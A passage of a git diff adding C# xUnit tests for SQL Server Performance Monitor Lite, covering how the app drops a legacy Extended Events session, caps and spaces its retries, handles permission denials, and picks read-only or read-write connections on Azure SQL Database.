+            Assert.Equal(rig.Clock, DateTime.Parse(record.Value, CultureInfo.InvariantCulture, DateTimeStyles.RoundtripKind)));
+    }
+
+    [Theory]
+    [InlineData(true)]
+    [InlineData(false)]
+    public async Task Legacy_Azure_ReachesADatabaseTheTraceExcludes_ButNotOneMonitoredAsItsOwnServer(bool traceOn)
+    {
+        /* No exclusion and no other registration's session keeps the legacy session from being dropped, so the excluded
+           database is reached. A database monitored as its own server is the trace-off path's own exception: that
+           registration runs its own legacy drop under its own record, so this one neither drops it there nor records it. */
+        var rig = await BuildRigAsync(traceOn, "gamma");
+        RegisterSeparately(rig, "beta");
+
+        await rig.ReconcileAsync();
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { "alpha", "gamma" }, rig.LegacyCalls);
+        Assert.Equal(KeysFor("alpha", "gamma"), (await RecordsAsync(rig)).Select(r => r.Key));
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task Legacy_TheRecordSurvivesARestart_AndTheNewProcessDoesNotDropAgain(bool azure)
+    {
+        var rig = await BuildForAsync(azure, traceOn: true);
+        await rig.ReconcileAsync();
+        Assert.Equal(azure ? AllDatabases : new[] { string.Empty }, rig.LegacyCalls);
+
+        var restarted = await RestartAsync(rig);
+        await restarted.ReconcileAsync();
+        await restarted.ReconcileAsync();
+
+        Assert.Empty(restarted.LegacyCalls);
+        Assert.NotEmpty(restarted.Created);
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task Legacy_TheRecordOfOneServer_DoesNotStopAnotherServersDropInTheSameDatabaseName_AndEachServersOwnRecordStopsItsSecondDrop(bool azure)
+    {
+        var expected = azure ? AllDatabases : new[] { string.Empty };
+        var first = await BuildForAsync(azure, traceOn: true);
+        await first.ReconcileAsync();
+        Assert.Equal(expected, first.LegacyCalls);
+
+        /* A second server over the same store, with the same database names and a server id of its own. Its service has read
+           nothing, so the store is all that could tell it the session was dropped, and the first server's record is not its
+           own: it still drops in each database. (The helpers above name one host each, so this one names another.) */
+        var second = await BuildRigAsync(
+            azure
+                ? new ServerConnection { ServerName = "lqtrace-two.database.windows.net", DisplayName = "lqtrace-two" }
+                : new ServerConnection { ServerName = "lqtrace-sql-two", DisplayName = "lqtrace-onprem-two" },
+            traceOn: true,
+            engineEdition: azure ? 5 : 3);
+        Assert.NotEqual(first.ServerId, second.ServerId);
+        await second.ReconcileAsync();
+        Assert.Equal(expected, second.LegacyCalls);
+
+        /* Each server holds exactly its own record. */
+        Assert.Equal(KeysFor(expected), (await RecordsAsync(first)).Select(r => r.Key));
+        Assert.Equal(KeysFor(expected), (await RecordsAsync(second)).Select(r => r.Key));
+
+        /* A restart: each server's own record, read back from the store, stops its second drop. */
+        var secondRestarted = await RestartAsync(second);
+        await secondRestarted.ReconcileAsync();
+        var firstRestarted = await RestartAsync(first);
+        await firstRestarted.ReconcileAsync();
+
+        Assert.Empty(secondRestarted.LegacyCalls);
+        Assert.Empty(firstRestarted.LegacyCalls);
+    }
+
+    [Fact]
+    public async Task Legacy_AFailedRecordRead_NeverBecomesASecondDrop()
+    {
+        var rig = await BuildOnPremRigAsync(traceOn: true);
+        await rig.ReconcileAsync();
+        Assert.Single(rig.LegacyCalls);
+
+        /* A new process whose store cannot be read for the record: it skips the legacy step, and the install's own
+           session is still ensured. */
+        var restarted = await RestartAsync(rig);
+        await ExecuteStoreAsync("ALTER TABLE collector_state RENAME TO collector_state_away");
+        try
+        {
+            await restarted.ReconcileAsync();
+
+            Assert.Empty(restarted.LegacyCalls);
+            Assert.NotEmpty(restarted.Created);
+        }
+        finally
+        {
+            await ExecuteStoreAsync("ALTER TABLE collector_state_away RENAME TO collector_state");
+        }
+
+        /* The next cycle reads the record, and it says the session was dropped. */
+        await restarted.ReconcileAsync();
+        Assert.Empty(restarted.LegacyCalls);
+    }
+
+    [Theory]
+    [InlineData(false)]
+    [InlineData(true)]
+    public async Task Legacy_ASessionAnOlderInstallCreatesAgain_IsNeverDroppedAgain_AndOneInformationLineNamesIt(bool azure)
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Information);
+            AppLogger.DrainBufferedLines();
+
+            /* An older install keeps creating the legacy session on this server, so every look for it finds one. */
+            var rig = await BuildForAsync(azure, traceOn: true);
+            rig.Service.LegacyLongQuerySessionExistsForTests = (_, _) => true;
+            var lines = new List<string>();
+
+            await rig.ReconcileAsync();
+            var dropped = rig.LegacyCalls.ToList();
+            Assert.Equal(azure ? AllDatabases : new[] { string.Empty }, dropped);
+
+            /* On, on again, off, and the cleanup of this install's own session failing to the cap and then once an hour. */
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
+            rig.Schedules.UpdateSchedule("long_query_completions", enabled: false);
+            rig.Refuse.Add(azure ? "alpha" : string.Empty);
+            for (var pass = 1; pass <= LongQueryTraceDatabases.DropAttemptCap; pass++)
+            {
+                await rig.ReconcileAsync();
+            }
+
+            rig.Clock += LongQueryTraceDatabases.RetryInterval;
+            await rig.ReconcileAsync();
+            rig.Refuse.Clear();
+            rig.Clock += LongQueryTraceDatabases.RetryInterval;
+            await rig.ReconcileAsync();
+            rig.Schedules.UpdateSchedule("long_query_completions", enabled: true);
+            await rig.ReconcileAsync();
+
+            Assert.Equal(dropped, rig.LegacyCalls);
+            lines.AddRange(Lines(rig));
+            Assert.Single(FoundLines(lines));
+
+            /* A new start looks again, finds it again, says so once, and still leaves it alone. */
+            var restarted = await RestartAsync(rig);
+            restarted.Service.LegacyLongQuerySessionExistsForTests = (_, _) => true;
+            await restarted.ReconcileAsync();
+            await restarted.ReconcileAsync();
+
+            Assert.Empty(restarted.LegacyCalls);
+            Assert.Single(FoundLines(Lines(restarted)));
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    [Fact]
+    public async Task Legacy_AnOlderInstallsSession_IsNotReportedWhileItsDropIsStillFailing()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Information);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildOnPremRigAsync(traceOn: true);
+            rig.Service.LegacyLongQuerySessionExistsForTests = (_, _) => true;
+            rig.RefuseLegacy.Add(string.Empty);
+
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
+
+            /* No record yet, so the session is this install's to drop, not an older install's to report. */
+            Assert.Equal(2, rig.LegacyCalls.Count);
+            Assert.Empty(FoundLines(Lines(rig)));
+
+            rig.RefuseLegacy.Clear();
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
+
+            Assert.Equal(3, rig.LegacyCalls.Count);
+            Assert.Single(FoundLines(Lines(rig)));
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    [Fact]
+    public void Legacy_TheDropNamesOnlyTheLegacySession_NeverDeadlockBlockedProcessOrAnotherId()
+    {
+        var source = ReadLf("Lite/Services/RemoteCollectorService.LegacyLongQuerySession.cs");
+
+        Assert.Contains("LongQueryCompletionsCollector.LegacyXeSessionName", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("DeadlocksCollector", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("BlockedProcessReportCollector", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("XeSessionNameFor", source, StringComparison.Ordinal);
+        Assert.DoesNotContain("LongQuerySessionName()", source, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task Legacy_Azure_AFailedDropIsNotRecorded_AndRetriesToTheCapThenOnceAnHour()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildRigAsync(traceOn: false);
+            rig.RefuseLegacy.Add("beta");
+
+            await rig.ReconcileAsync();
+
+            /* Every database was tried, the two that succeeded are recorded, and the one that refused is not. */
+            Assert.Equal(AllDatabases, rig.LegacyCalls);
+            Assert.Equal(KeysFor("alpha", "gamma"), (await RecordsAsync(rig)).Select(r => r.Key));
+            Assert.Null(rig.Applied);
+
+            /* The next passes try only the database that is not recorded, until the fifth failed pass in a row gives up. */
+            for (var pass = 2; pass <= LongQueryTraceDatabases.DropAttemptCap; pass++)
+            {
+                await rig.ReconcileAsync();
+            }
+
+            Assert.Equal(new[] { "alpha", "beta", "gamma", "beta", "beta", "beta", "beta" }, rig.LegacyCalls);
+            Assert.False(rig.Applied);
+            var lines = Lines(rig);
+            Assert.Single(lines, line => line.Contains("Stopped retrying", StringComparison.Ordinal) && line.Contains("beta", StringComparison.Ordinal));
+
+            /* Given up: the cycles in between leave it alone, and an hour later one attempt runs, at Debug, with no second warning. */
+            rig.LegacyCalls.Clear();
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
+            Assert.Empty(rig.LegacyCalls);
+
+            rig.Clock += LongQueryTraceDatabases.RetryInterval;
+            await rig.ReconcileAsync();
+            Assert.Equal(new[] { "beta" }, rig.LegacyCalls);
+            lines = Lines(rig);
+            Assert.DoesNotContain(lines, line => line.Contains("Stopped retrying", StringComparison.Ordinal));
+            Assert.DoesNotContain(lines, line => line.Contains("WARN", StringComparison.Ordinal) && line.Contains("[beta]", StringComparison.Ordinal));
+
+            /* The refusal ends: the next attempt drops it, records it, and nothing is left to try. */
+            rig.RefuseLegacy.Clear();
+            rig.LegacyCalls.Clear();
+            rig.Clock += LongQueryTraceDatabases.RetryInterval;
+            await rig.ReconcileAsync();
+            Assert.Equal(new[] { "beta" }, rig.LegacyCalls);
+            Assert.Equal(KeysFor(AllDatabases), (await RecordsAsync(rig)).Select(r => r.Key));
+
+            rig.LegacyCalls.Clear();
+            rig.Clock += LongQueryTraceDatabases.RetryInterval;
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
+            Assert.Empty(rig.LegacyCalls);
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    [Fact]
+    public async Task Legacy_OnPremises_AFailedDropWhileTheTraceIsOn_TakesTheCap_BecauseTheCreateDoesNotResetIt()
+    {
+        var level = AppLogger.MinimumLevel;
+        try
+        {
+            AppLogger.SetMinimumLevel(LogLevel.Debug);
+            AppLogger.DrainBufferedLines();
+
+            var rig = await BuildOnPremRigAsync(traceOn: true);
+            rig.RefuseLegacy.Add(string.Empty);
+
+            /* This install's own session is created on every cycle, and each create succeeds. Without a cap that
+               counts the failed legacy drops across them, the warning that gives up never comes. */
+            for (var cycle = 1; cycle <= LongQueryTraceDatabases.DropAttemptCap; cycle++)
+            {
+                await rig.ReconcileAsync();
+            }
+
+            Assert.Equal(LongQueryTraceDatabases.DropAttemptCap, rig.LegacyCalls.Count);
+            Assert.Equal(LongQueryTraceDatabases.DropAttemptCap, rig.Created.Count());
+            Assert.Empty(await RecordsAsync(rig));
+            Assert.Single(Lines(rig), line => line.Contains("Stopped retrying", StringComparison.Ordinal));
+
+            /* Given up: the cycles in between create the session and leave the legacy drop alone, and an hour later it runs once. */
+            rig.LegacyCalls.Clear();
+            await rig.ReconcileAsync();
+            await rig.ReconcileAsync();
+            Assert.Empty(rig.LegacyCalls);
+
+            rig.Clock += LongQueryTraceDatabases.RetryInterval;
+            await rig.ReconcileAsync();
+            Assert.Single(rig.LegacyCalls);
+
+            /* Done once it succeeds: recorded, and never tried again. */
+            rig.RefuseLegacy.Clear();
+            rig.LegacyCalls.Clear();
+            rig.Clock += LongQueryTraceDatabases.RetryInterval;
+            await rig.ReconcileAsync();
+            Assert.Single(rig.LegacyCalls);
+            Assert.Single(await RecordsAsync(rig));
+
+            rig.LegacyCalls.Clear();
+            await rig.ReconcileAsync();
+            rig.Clock += LongQueryTraceDatabases.RetryInterval;
+            await rig.ReconcileAsync();
+            Assert.Empty(rig.LegacyCalls);
+        }
+        finally
+        {
+            AppLogger.SetMinimumLevel(level);
+        }
+    }
+
+    [Fact]
+    public async Task Legacy_Azure_RunsBeforeThisInstallsCreate_InEachDatabase_AndAFailureDoesNotStopTheCreate()
+    {
+        var rig = await BuildRigAsync(traceOn: true);
+        rig.RefuseLegacy.Add("alpha");
+
+        await rig.ReconcileAsync();
+
+        foreach (var database in new[] { "alpha", "beta", "gamma" })
+        {
+            var legacyAt = rig.Sequence.IndexOf((database, "legacy"));
+            var createAt = rig.Sequence.IndexOf((database, "create"));
+            Assert.True(legacyAt >= 0, $"{database}: the legacy session was not dropped");
+            Assert.True(createAt > legacyAt, $"{database}: the create ran before the legacy drop");
+        }
+
+        /* The refused drop in alpha did not keep this install's session from being created there, and it is the only one
+           left to retry. The run's fault is clear: the session exists. */
+        Assert.Equal(AllDatabases, rig.Created);
+        Assert.Null(rig.Applied);
+        Assert.Null(rig.Service.LongQueryTraceFaultState(rig.Server.Id));
+        Assert.Equal(KeysFor("beta", "gamma"), (await RecordsAsync(rig)).Select(r => r.Key));
+
+        rig.RefuseLegacy.Clear();
+        rig.LegacyCalls.Clear();
+        await rig.ReconcileAsync();
+        Assert.Equal(new[] { "alpha" }, rig.LegacyCalls);
+    }
+}
diff --git a/Lite.Tests/LongQueryTracePermissionDenialLiteTests.cs b/Lite.Tests/LongQueryTracePermissionDenialLiteTests.cs
new file mode 100644
index 0000000000..0f85072af9
--- /dev/null
+++ b/Lite.Tests/LongQueryTracePermissionDenialLiteTests.cs
@@ -0,0 +1,176 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Threading;
+using System.Threading.Tasks;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using PerformanceMonitorLite.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// #5378: a denied long-query session create (error 15247, no ALTER ANY EVENT SESSION) is a permission state. The reconcile
+/// runs outside the collector's run, so before this it re-ran the create every cycle for as long as the login stayed
+/// restricted. It now stops for the lifetime of the PERMISSIONS suppression every collector gets: the rest of the app
+/// session, lifted by a restart (or, for the flag, by the server's health being cleared).
+/// </summary>
+[Collection("app-logger-statics")]
+public sealed class LongQueryTracePermissionDenialLiteTests : IDisposable
+{
+    private readonly List<DuckDbInitializer> _initializers = [];
+    private readonly string _tempDir;
+    private readonly string _configDir;
+
+    public LongQueryTracePermissionDenialLiteTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        _configDir = Path.Combine(_tempDir, "config");
+        Directory.CreateDirectory(_configDir);
+    }
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private sealed class Rig
+    {
+        public required Func<RemoteCollectorService> NewService { get; init; }
+        public required RemoteCollectorService Service { get; set; }
+        public required ServerConnection Server { get; init; }
+
+        /* Every create or start statement the reconcile tried. */
+        public int Statements { get; set; }
+
+        /* The error the statement raises: null to succeed. */
+        public Func<Exception?> Refusal { get; set; } = () => null;
+    }
+
+    private async Task<Rig> BuildRigAsync()
+    {
+        var server = new ServerConnection
+        {
+            ServerName = "onprem.example.test",
+            DisplayName = "denied-" + Guid.NewGuid().ToString("N")[..8],
+        };
+
+        var duckDb = new DuckDbInitializer(Path.Combine(_tempDir, "test.duckdb"));
+        _initializers.Add(duckDb);
+        await duckDb.InitializeFromTemplateAsync();
+
+        var servers = new ServerManager(_configDir);
+        servers.AddServer(server);
+        servers.GetConnectionStatus(server.Id).SqlEngineEdition = 3;
+
+        var schedules = new ScheduleManager(_configDir);
+        schedules.UpdateSchedule("long_query_completions", enabled: true);
+
+        Rig? rig = null;
+        RemoteCollectorService NewService()
+        {
+            var service = new RemoteCollectorService(
+                duckDb, servers, schedules,
+                installIdStore: new InstallIdStore(_configDir, "test-machine", null));
+            service.LongQueryTraceUtcNowForTests = () => new DateTime(2026, 10, 6, 12, 0, 0, DateTimeKind.Utc);
+            service.LegacyLongQuerySessionExistsForTests = (_, _) => false;
+            service.LongQueryTraceDatabaseOverrideForTests = (_, _, _, sessionName, _) =>
+            {
+                if (sessionName == PerformanceMonitor.Collectors.LongQueryCompletionsCollector.LegacyXeSessionName)
+                {
+                    return Task.CompletedTask;
+                }
+
+                rig!.Statements++;
+                return rig.Refusal() is { } refusal ? Task.FromException(refusal) : Task.CompletedTask;
+            };
+            return service;
+        }
+
+        rig = new Rig { NewService = NewService, Service = NewService(), Server = server };
+        return rig;
+    }
+
+    private static Exception Denied() =>
+        SqlExceptionFactory.Create(15247, errorClass: 14, message: "User does not have permission to perform this action.");
+
+    private static Task ReconcileAsync(Rig rig) =>
+        rig.Service.ReconcileLongQueryCompletionsXeSessionAsync(rig.Server, CancellationToken.None);
+
+    [Fact]
+    public async Task ADeniedCreate_IsNotRetriedOnTheNextCycles_AndIsTriedAgainAfterARestart()
+    {
+        var rig = await BuildRigAsync();
+        rig.Refusal = Denied;
+
+        await ReconcileAsync(rig);
+        Assert.Equal(1, rig.Statements);
+        Assert.NotNull(rig.Service.LongQueryTraceFaultState(rig.Server.Id));
+
+        await ReconcileAsync(rig);
+        await ReconcileAsync(rig);
+        Assert.Equal(1, rig.Statements);
+
+        /* The kept fault is still there, so the run records PERMISSIONS from it. */
+        Assert.NotNull(rig.Service.LongQueryTraceFaultState(rig.Server.Id));
+
+        /* A restart is a new service with nothing in memory, as for every collector: the login may have been granted since. */
+        rig.Service = rig.NewService();
+        rig.Refusal = () => null;
+        await ReconcileAsync(rig);
+        Assert.Equal(2, rig.Statements);
+        Assert.Null(rig.Service.LongQueryTraceFaultState(rig.Server.Id));
+    }
+
+    [Fact]
+    public async Task ACollectorRunThatRecordedPermissions_StopsTheCreate_UntilTheServersHealthIsCleared()
+    {
+        var rig = await BuildRigAsync();
+        var id = RemoteCollectorService.GetServerId(rig.Server);
+        rig.Service.RecordCollectorResult(id, "long_query_completions", "PERMISSIONS", "denied", xeSessionUnavailable: true);
+
+        await ReconcileAsync(rig);
+        await ReconcileAsync(rig);
+        Assert.Equal(0, rig.Statements);
+
+        rig.Service.ClearHealthForServer(id);
+        await ReconcileAsync(rig);
+        Assert.Equal(1, rig.Statements);
+    }
+
+    [Fact]
+    public async Task AFailureThatIsNotAPermissionDenial_IsStillRetriedOnEveryCycle()
+    {
+        var rig = await BuildRigAsync();
+        rig.Refusal = () => SqlExceptionFactory.Create(1105, errorClass: 17, message: "Could not allocate space.");
+
+        await ReconcileAsync(rig);
+        await ReconcileAsync(rig);
+        await ReconcileAsync(rig);
+
+        Assert.Equal(3, rig.Statements);
+    }
+}
diff --git a/Lite.Tests/LongQueryTraceReadOnlyIntentLiteTests.cs b/Lite.Tests/LongQueryTraceReadOnlyIntentLiteTests.cs
new file mode 100644
index 0000000000..f1e9062944
--- /dev/null
+++ b/Lite.Tests/LongQueryTraceReadOnlyIntentLiteTests.cs
@@ -0,0 +1,569 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor Lite.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Data.SqlClient;
+using Microsoft.Extensions.Logging;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitorLite.Database;
+using PerformanceMonitorLite.Models;
+using PerformanceMonitorLite.Services;
+using PerformanceMonitorLite.Tests;
+using Xunit;
+
+namespace Lite.Tests;
+
+/// <summary>
+/// Which connection each step of the long-query trace's create opens, for a registration with read-only intent and for one
+/// without (#4961). A session cannot be created on a read-only replica, and the definition replicates from the primary, so
+/// on Azure SQL Database a read-only-intent registration creates the definition over a connection without the intent and
+/// starts the session over its own. Each test drives the real reconcile with the step's open and work replaced, which hands
+/// over the connection string the step would have opened.
+///
+/// <para>In <c>app-logger-statics</c> because the tests read <see cref="AppLogger"/>'s process-wide buffer, which another
+/// reader would drain from under them.</para>
+/// </summary>
+[Collection("app-logger-statics")]
+public sealed class LongQueryTraceReadOnlyIntentLiteTests : IDisposable
+{
+    private readonly List<DuckDbInitializer> _initializers = [];
+
+    private const string Host = "example.database.windows.net";
+
+    private readonly string _tempDir;
+    private readonly string _configDir;
+    private readonly string _dbPath;
+
+    public LongQueryTraceReadOnlyIntentLiteTests()
+    {
+        _tempDir = Path.Combine(Path.GetTempPath(), "LiteTests_" + Guid.NewGuid().ToString("N")[..8]);
+        _configDir = Path.Combine(_tempDir, "config");
+        Directory.CreateDirectory(_configDir);
+        _dbPath = Path.Combine(_tempDir, "test.duckdb");
+    }
+
+    public void Dispose()
+    {
+        foreach (var initializer in _initializers)
+        {
+            initializer.Dispose();
+        }
+
+        try
+        {
+            if (Directory.Exists(_tempDir))
+                Directory.Delete(_tempDir, recursive: true);
+        }
+        catch
+        {
+            /* Best-effort cleanup */
+        }
+    }
+
+    private sealed class Rig
+    {
+        public required RemoteCollectorService Service { get; init; }
+        public required ServerConnection Server { get; init; }
+
+        /* Every step the create took: which one, the database ("" on a server-scoped engine) and the string it opened. */
+        public List<(LongQueryTraceStep Step, string Database, string ConnectionString)> Steps { get; } = new();
+
+        /* Every step a drop took, the one-time drop of the legacy session included: the session's name rides along. */
+        public List<(LongQueryTraceStep Step, string Database, string ConnectionString, string SessionName)> DropSteps { get; } = new();
+
+        /* What the step says when it runs: null to succeed. */
+        public Func<LongQueryTraceStep, Exception?> Refusal { get; set; } = _ => null;
+
+        /* What the check finds on the replica: by default a database that has never had the session. */
+        public LongQueryTraceReplicaState Replica { get; set; }
+
+        public DateTime Clock { get; set; } = new(2026, 10, 2, 12, 0, 0, DateTimeKind.Utc);
+
+        public Task ReconcileAsync() => Service.ReconcileLongQueryCompletionsXeSessionAsync(Server, CancellationToken.None);
+
+        /// <summary>The drop steps of this install's own session: what a drop of the long-query trace does, apart from the legacy session's.</summary>
+        public List<(LongQueryTraceStep Step, string Database, string ConnectionString)> OwnDrops() =>
+            DropSteps.Where(s => s.SessionName != LongQueryCompletionsCollector.LegacyXeSessionName)
+                .Select(s => (s.Step, s.Database, s.ConnectionString)).ToList();
+
+        /// <summary>The drop steps of the legacy session older versions shared between installs.</summary>
+        public List<(LongQueryTraceStep Step, string Database, string ConnectionString)> LegacyDrops() =>
+            DropSteps.Where(s => s.SessionName == LongQueryCompletionsCollector.LegacyXeSessionName)
+                .Select(s => (s.Step, s.Database, s.ConnectionString)).ToList();
+
+        /// <summary>
+        /// This rig's lines at Warning or above since the last drain, whatever they say. Nothing narrows them by a word, so a
+        /// Warning a test does not expect, such as a failed stop or a failed drop of the legacy session, is among them.
+        /// </summary>
+        public List<string> LoudLines() =>
+            Lines().Where(line => line.Contains("[WARN ]", StringComparison.Ordinal) || line.Contains("[ERROR]", StringComparison.Ordinal)).ToList();
+
+        /// <summary>
+        /// The end of the one line a create that a read-only database refused logs at Warning: the level and source, the
+        /// registration, the database and the message the long-query trace words for it.
+        /// </summary>
+        public string ReadOnlyLineEnd(string database) =>
+            $"[WARN ] [XeSession] [{Server.DisplayName}] [{database}] {LongQueryTraceDatabases.ReadOnlyDatabaseMessage()}";
+
+        /// <summary>This rig's lines in the log buffer since the last drain.</summary>
+        public List<string> Lines() =>
+            AppLogger.DrainBufferedLines()
+                .Where(line => line.Contains(Server.DisplayName, StringComparison.Ordinal))
+                .ToList();
+    }
+
+    private async Task<Rig> BuildRigAsync(string database, bool readOnlyIntent, int engineEdition = 5, bool traceOn = true)
+    {
+        var server = new ServerConnection
+        {
+            ServerName = Host,
+            DisplayName = "intent-" + Guid.NewGuid().ToString("N")[..8],
+            DatabaseName = database,
+            ReadOnlyIntent = readOnlyIntent,
+        };
+
+        var duckDb = new DuckDbInitializer(_dbPath);
+        _initializers.Add(duckDb);
+        await duckDb.InitializeFromTemplateAsync();
+
+        var servers = new ServerManager(_configDir);
+        servers.AddServer(server);
+        servers.GetConnectionStatus(server.Id).SqlEngineEdition = engineEdition;
+
+        var schedules = new ScheduleManager(_configDir);
+        schedules.UpdateSchedule("long_query_completions", enabled: traceOn);
+
+        var rig = new Rig
+        {
+            Service = new RemoteCollectorService(
+                duckDb, servers, schedules,
+                installIdStore: new InstallIdStore(_configDir, "test-machine", null)),
+            Server = server,
+        };
+
+        rig.Service.LongQueryTraceUtcNowForTests = () => rig.Clock;
+        rig.Service.LongQueryTraceListOverrideForTests = (_, _, _) => Task.FromResult(new List<string> { database });
+        /* The one-time drop of the legacy session has nothing to find. */
+        rig.Service.LegacyLongQuerySessionExistsForTests = (_, _) => false;
+        rig.Service.LongQueryTraceReplicaStateForTests = (_, _) => rig.Replica;
+        rig.Service.LongQueryTraceStepOverrideForTests = (_, databaseName, connectionString, step, sessionName, _) =>
+        {
+            if (step is LongQueryTraceStep.Stop or LongQueryTraceStep.Drop)
+            {
+                rig.DropSteps.Add((step, databaseName, connectionString, sessionName));
+            }
+            else
+            {
+                rig.Steps.Add((step, databaseName, connectionString));
+            }
+
+            return rig.Refusal(step) is { } refusal ? Task.FromException(refusal) : Task.CompletedTask;
+        };
+
+        return rig;
+    }
+
+    private static ApplicationIntent IntentOf(string connectionString) =>
+        new SqlConnectionStringBuilder(connectionString).ApplicationIntent;
+
+    private static string DatabaseOf(string connectionString) =>
+        new SqlConnectionStringBuilder(connectionString).InitialCatalog;
+
+    /* ── Azure SQL Database ── */
+
+    [Fact]
+    public async Task Azure_AReadOnlyIntentRegistration_CreatesTheDefinitionOverAReadWriteConnection_ThenStartsOverItsOwnReadOnlyOne()
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: true);
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(
+            new[] { LongQueryTraceStep.Check, LongQueryTraceStep.CreateDefinition, LongQueryTraceStep.Start },
+            rig.Steps.Select(s => s.Step));
+        Assert.Equal(
+            new[] { ApplicationIntent.ReadOnly, ApplicationIntent.ReadWrite, ApplicationIntent.ReadOnly },
+            rig.Steps.Select(s => IntentOf(s.ConnectionString)));
+        Assert.All(rig.Steps, s => Assert.Equal("beta", DatabaseOf(s.ConnectionString)));
+        Assert.All(rig.Steps, s => Assert.Equal("beta", s.Database));
+    }
+
+    [Fact]
+    public async Task Azure_ARegistrationWithoutReadOnlyIntent_CreatesAndStartsOverItsOwnConnection()
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: false);
+
+        await rig.ReconcileAsync();
+
+        var step = Assert.Single(rig.Steps);
+        Assert.Equal(LongQueryTraceStep.CreateAndStart, step.Step);
+        Assert.Equal(ApplicationIntent.ReadWrite, IntentOf(step.ConnectionString));
+        Assert.Equal("beta", DatabaseOf(step.ConnectionString));
+    }
+
+    /* ── Azure SQL Database: a cycle that needs nothing opens nothing on the primary ── */
+
+    [Fact]
+    public async Task Azure_AReadOnlyIntentCycleWhereTheDefinitionExistsAndTheSessionRuns_OpensOnlyTheRegistrationsOwnConnection()
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: true);
+        rig.Replica = new LongQueryTraceReplicaState(DefinitionExists: true, Running: true);
+
+        await rig.ReconcileAsync();
+
+        var step = Assert.Single(rig.Steps);
+        Assert.Equal(LongQueryTraceStep.Check, step.Step);
+        Assert.Equal(ApplicationIntent.ReadOnly, IntentOf(step.ConnectionString));
+        Assert.Equal("beta", DatabaseOf(step.ConnectionString));
+    }
+
+    [Fact]
+    public async Task Azure_AReadOnlyIntentCycleWhereTheSessionIsStopped_StartsItOverItsOwnConnectionAndOpensNothingElse()
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: true);
+        rig.Replica = new LongQueryTraceReplicaState(DefinitionExists: true, Running: false);
+
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { LongQueryTraceStep.Check, LongQueryTraceStep.Start }, rig.Steps.Select(s => s.Step));
+        Assert.All(rig.Steps, s => Assert.Equal(ApplicationIntent.ReadOnly, IntentOf(s.ConnectionString)));
+    }
+
+    [Fact]
+    public async Task Azure_AStartThatFailsRightAfterTheDefinitionWasCreated_IsRetriedOnTheNextCycleWithoutAWarning()
+    {
+        var rig = await BuildRigAsync("beta", readOnlyIntent: true);
+        rig.Refusal = step => step == LongQueryTraceStep.Start
+            ? SqlExceptionFactory.Create(15151, errorClass: 16, message: "Cannot alter the event session, because it does not exist or you do not have permission.")
+            : null;
+        AppLogger.DrainBufferedLines();
+
+        await rig.ReconcileAsync();
+
+        /* The replica had not caught up yet: no fault, and nothing at Warning or above. */
+        Assert.Null(rig.Service.LongQueryTraceFaultState(rig.Server.Id));
+        Assert.Empty(rig.LoudLines());
+        Assert.Equal(
+            new[] { LongQueryTraceStep.Check, LongQueryTraceStep.CreateDefinition, LongQueryTraceStep.Start },
+            rig.Steps.Select(s => s.Step));
+
+        /* The replica shows the definition by the next cycle: that cycle starts the session. */
+        rig.Refusal = _ => null;
+        rig.Replica = new LongQueryTraceReplicaState(DefinitionExists: true, Running: false);
+        rig.Steps.Clear();
+        await rig.ReconcileAsync();
+
+        Assert.Equal(new[] { LongQueryTraceStep.Check, LongQueryTraceStep.Start }, rig.Steps.Select(s => s.Step));
+        Assert.Null(rig.Service.LongQueryTraceFaultState(rig.Server.Id));
+        Assert.Empty(rig.LoudLines());
+    }
+
+    [Fact]
+    public async Task Azure_AStartThatFailsWhenTheDefinitionWasAlreadyVisible_IsAFailureLikeAnyOther()
+    {
